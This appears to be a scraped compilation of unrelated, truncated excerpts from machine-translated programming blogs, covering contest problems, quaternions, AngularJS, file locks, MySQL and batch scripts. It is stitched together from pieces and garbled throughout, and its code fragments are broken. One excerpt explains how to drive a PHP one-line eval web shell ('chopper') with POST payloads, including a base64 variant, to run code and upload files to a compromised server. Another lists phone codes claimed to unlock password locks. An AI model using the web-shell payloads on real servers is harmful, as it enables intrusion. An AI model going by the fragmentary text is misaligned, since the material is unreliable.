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Bzoj 1013: [JSOI2008] spherical space generator sphere Gaussian elimination element

Input20.0 0.0-1.0 1.01.0 0.0Sample Output0.500 1.500HINTData size:For 40% of data, 1For 100% of data, 1Tip: Give two definitions:1, the ball sphere: to the spherical surface any point distance is equal points.2, Distance: Set two n for Space point A, B coordinates (a1, a2, ..., an), (B1, B2, ..., BN), then AB distance is defined as: dist = sqrt ((A1-B1) ^2 + (A2-B2) ^2 + ... + (an-bn) ^2)Source(a1-a) ^2+ (b1-b) ^2+...+ (z1-z) ^2= (a2-a) ^2+ (b2-b) ^2+...+ (

GAUSSIAN mixture vae:lessons in variational inference, generative MODELS, and DEEP NETS

Not too long ago, I came across the this paper on unsupervised clustering with Gaussian mixture. I was quite surprised, especially since I had worked on a very similar (maybe the same?) concept a few months. It's a interesting read, so I do recommend it. But the basic gist of it is:instead of a typical vae-based deep generative model with layers of Gaussian latent , the authors propose using a mixture of Gaussians for one of the layers. In doing so, we can now does unsupervised clustering with t

Solution for mobile phone password lock

You don't have to go to the business office to unlock your phone password lock. Phone unlock: * 2767*2878 #/* 2767*7377 #Reset the Samsung QR code: * 2767*3855 # It can also be used for unlock or lock.Samsung display temperature and battery capacity: * #0228 #Samsung adjusted display contrast: * #0523 #Samsung Software Version: * #9999 #Samsung A100-A188 to see version: * #0837 #Motorola t2688 unlock all locks: 19980722T2688/2988/988 d no Chinese char

Reproduced Angularjs Getting Started Tutorial 04: Two-way binding

element and the model. orderPropIt is then used as orderBy input to the filter.As we talked about data binding and iterators in step 3, whenever the data model changes (such as when the user chooses a different order in the drop-down menu), the ANGULARJS data binding causes the view to update automatically. No clumsy DOM operation!ControllerApp/js/controllers.js:function Phonelistctrl ($scope) { = [ {"name": "Nexus S", "snippet": "Fast just got Faster with Nexus S. " , " Age ": 0},

HDU3584 Cube "tree-like Array" "three-dimensional"

Topic Links:http://acm.hdu.edu.cn/showproblem.php?pid=3584Main topic:Given an n*N*N Cube A, its elements are 0 or 1. A[i,j,k] represents the value of row I, column J and level K in the collection.First by a[i,j,k] = 0 (1 Given two actions:1: Change A[i,j,k] for! A[I,J,K].2: The value of Query A[i,j,k].Ideas:Three-dimensional tree array interval update, single point query. When the update interval (a, b) is added 1 at a and b+1, the front represents an increase of 1 and the rear isOffset plus 1 o

PHP implementation Batch Upload single file _php instance

chopper, just send a POST request with a file write command to the URL containing a sentence on the remote service, for example: POST: 1= @eval ($_post[z0]); z0=echo $_server[' document_root ']; The above code contains 2 parts: 1. The password of a sentence 2. PHP execution code sent to server side Now that we know the principle, we just need to send the following POST request to complete the function of uploading a file using a sentence: POST: 1= @eval (Base64_decode ($_post[z0)); z0=

30 years old: The programmer heart forever pain?

structure of the job level, people tend to rise to a position they are not capable of, coupled with the self-interest of the entrenched, resulting in a variety of problems. Boss has the boss's strategy, work has a work of the art of war, the problem is that the gap between these ideas is too big, the two sides are seldom for each other's sake. Grandson Yue: "Up and down with the desire to win." For enterprise management, to achieve "up and down with desire" is the most difficult, but also the m

Cryptography shift Password

, the plaintext jackozoo value is 9 0 2 10 14 14 14 14. Each character occupies one letter in the alphabet.  Z2 ~ 8: z256. this is a common alphabet, that is, byte stream encryption. The Alphabet ranges from 00 ~ FF contains two 8 Letter elements.  For example, the plaintext jackozoo code value (ANSI Code) is 4A 41 43 4B 4f 5A 4f 4f.Plaintext love your whole life (ANSI code) code value is B0 AE C4 E3 D2 BB C9 fa D2 BB ca C0.  

Quaternary element and Rotation

I. Basis of four tuples Q (x, y, z, W), where X, Y, Z is used to determine the rotation axis, W is the Rotation Angle Q = W + Xi + YJ + ZK, I, j, and K are the unit components of the three virtual axes. I * j = K J * k = I; K * I = J; Cross multiplication: C = A × B = | I j k || A1 B1 C1 || A2 B2 C2 |= (B1c2-b2c1, c1a2-a1c2, a1b2-a2b1) C is also a vector, and the length of C is | A | B | sin (theta), perpendicular to the plane where A and B are located. The direction is determined by the right h

3D draw a cylindrical

manglex;Public float mangley;Public float manglez;Public drawcylinder (float length, float circle_radius, float degreespan, int col){This. circle_radius = circle_radius;This. Length = length;This. Col = Col;This. degreespan = degreespan;Float collength = (float) length/COL; // The length of each columnArraylist For (float circle_degree = 360.0f; circle_degree> 0.0f; circle_degree-= degreespan) // loop rows{Int J = 0;// For (Int J = 0; j {Float X1 = (float) (J * collength-length/2 );Float Y1 = (

Quaternion of Ogre

=-I * k Four element addition:Q1 + q2 = (W1 + W2) + (X1 + x2) I + (Y1 + y2) J + (Z1 + Z2) kFour-element multiplication:Q1 * q2 =(W1 * W2-X1 * x2-Y1 * Y2-z1 * Z2) +(W1 * X2 + X1 * W2 + Y1 * Z2-z1 * Y2) I +(W1 * Y2-X1 * Z2 + Y1 * W2 + z1 * X1) J +(W1 * Z2 + X1 * Y2-Y1 * X2 +

Two-point connection path Finding Algorithm

parallel lines on the X and Y axes.) You can analyze the connection conditions and see that there are three possible conditions. 1: Linear connection 2: One Fold Point 3: two fold points. It can be found that if there is a discount point, each discount point must have at least one coordinate (x or y) that is the same as one of the target points, that is, the discount point must be in the x or y direction of the two target points. The design logic is as follows: Assume that the target point p1 a

System File Operation Development

possible offset is reached. That is, no matter how much data is added later, it is within the scope of the lock.  MAIN.C:#include #includeintMainvoid){ intRE,FD; FD=open ("Test_lock", o_rdwr| O_creat,0644); structFlock Z1; Z1.l_type=f_rdlck;//Create a lock for readingZ1.l_whence=seek_set;//start with the beginning of the file as the starting position of the lockz1.l_start=Ten; Z1.l_len= -; printf ("Process%d locking file\n", Getpid ()); if((Re=fcntl (FD,F_SETLK,AMP;Z1)) ==-1) {printf ("faile

ERROR 1062 (23000): Duplicate entry ' 0 ' for key ' PRIMARY '

Os:centos 6.3db:5.5.14Test Create Yoon Test table, no primary key, no index, the underlying data content is as follows:Mysql> select * from Yoon;+----+----------+------+| ID | name | user |+----+----------+------+| 1 | \ "" ##!aa | NULL || 2 | Z2 | NULL || 3 | Z3 | NULL || 4 | Z4 | NULL || 5 | Z5 | NULL |+----+----------+------+5 rows in Set (0.00 sec)The Test uses a command to set the ID to the self-increment primary key, the command ALTER TABLE YO

Robotic Learning Cornerstone (Machine learning foundations) Learn Cornerstone job Four after class exercise solution

) Analysis: First we need to know what is fixed noiseFixed noise is caused by the fact that the target function f itself is too large for QF. If the QF of F itself is too large, then it is not easy to use H to fit this higher objective function, so the fixed noise is large. When we use the smaller h ' instead of H to fit F, because H ' is smaller, the fitting degree of f is even worse, so the deterministic noise will increase!(3) Answer: Increasing second item2. The second question(1) Test instr

More beautiful Batch progress bar effect code _dos/bat

Copy Code code as follows: @echo off Mode con cols=113 lines=15 color 9f : Starthome Cls Set a=^set/p=%b%^Echo. The echo program is initializing ... Echo. Echo┌──────────────────────────────────────┐ set/p= echo 100%% Echo└──────────────────────────────────────┘ Set b= Set a= set/a z=100 Pause : Start Cls Set a=%a% set/a b+=5 set/a z-=5 Echo. @echo remaining Progress%z%%% @echo ┌──────────────────────────────────────────┐ @echo%a%%b%%% @echo └───────────────────────

"Deeplearning" Exercise:learning color features with Sparse autoencoders

W1. i.e., W1grad (I,J) should be thePartialderivative of J_sparse (w,b)%With respect to the input parameter W1 (I,J). Thus, W1grad should is equal to the term% [(1/m) \delta w^{(1)} + \lambda w^{(1)}]inchThe last block of Pseudo-codeinchSection2.2% of the lecture notes (and similarly forW2grad, B1grad, B2grad).Percent stated differently,ifWe wereusingbatch gradient descent to optimize the parameters,% The gradient descent update to W1 would is W1: = W1-alpha * W1grad, and similarly forW2, B1, B

PAT (Advanced level) 1063. Set Similarity (25)

Sort first after reading.When asked, O (m) efficiency can be answered.#include #include#include#include#include#includestring>#include#include#includeusing namespacestd;structx{intm; inta[10000+Ten];} s[ -];intN;structarr{intF; intnum;} h[200000+Ten];intMain () {scanf ("%d",N); for(intI=1; i) {scanf ("%d",s[i].m); for(intj=1; j"%d",S[i].a[j]); Sort (s[i].a+1, s[i].a+1+s[i].m); S[I].A[S[I].M+1]=0x7FFFFFFF; } intK scanf"%d",k); for(intI=1; i) { intb; scanf"%d%d",a,c); intz1=1,

Determine whether the vertex is on the online segment (implemented in C ++)

Determine whether the vertex is on the online segment: If the vertex is set to Q and the line segment is P1P2, the basis for determining the vertex Q on this line segment is: (q-P1) × (P2-P1) = 0 and Q is in P1, p2 is inside the rectangle of the diagonal vertex. The former ensures that the qpoint is on the P1P2 line, and the latter ensures that the qpoint is not on the extended or reverse extended line of the P1P2 line. The following process can be used to determine this step: On-segment (PI, PJ

Excel VBA macro. Some cells are automatically filled when a template is used to create a document.

Today, I wrote an Excel macro. When I create an Excel file based on a template, the content of some cells is automatically filled according to the current machine environment. The writing is clumsy, because you are not familiar with VBA and office events, and you are all looking at help. If you can give me some advice, please leave a message.Private sub workbook_open () Dim STR as string STR = trim (range ("g22"). value) If STR = "" then Range ("g22"). value = now End if Dim Z as integer

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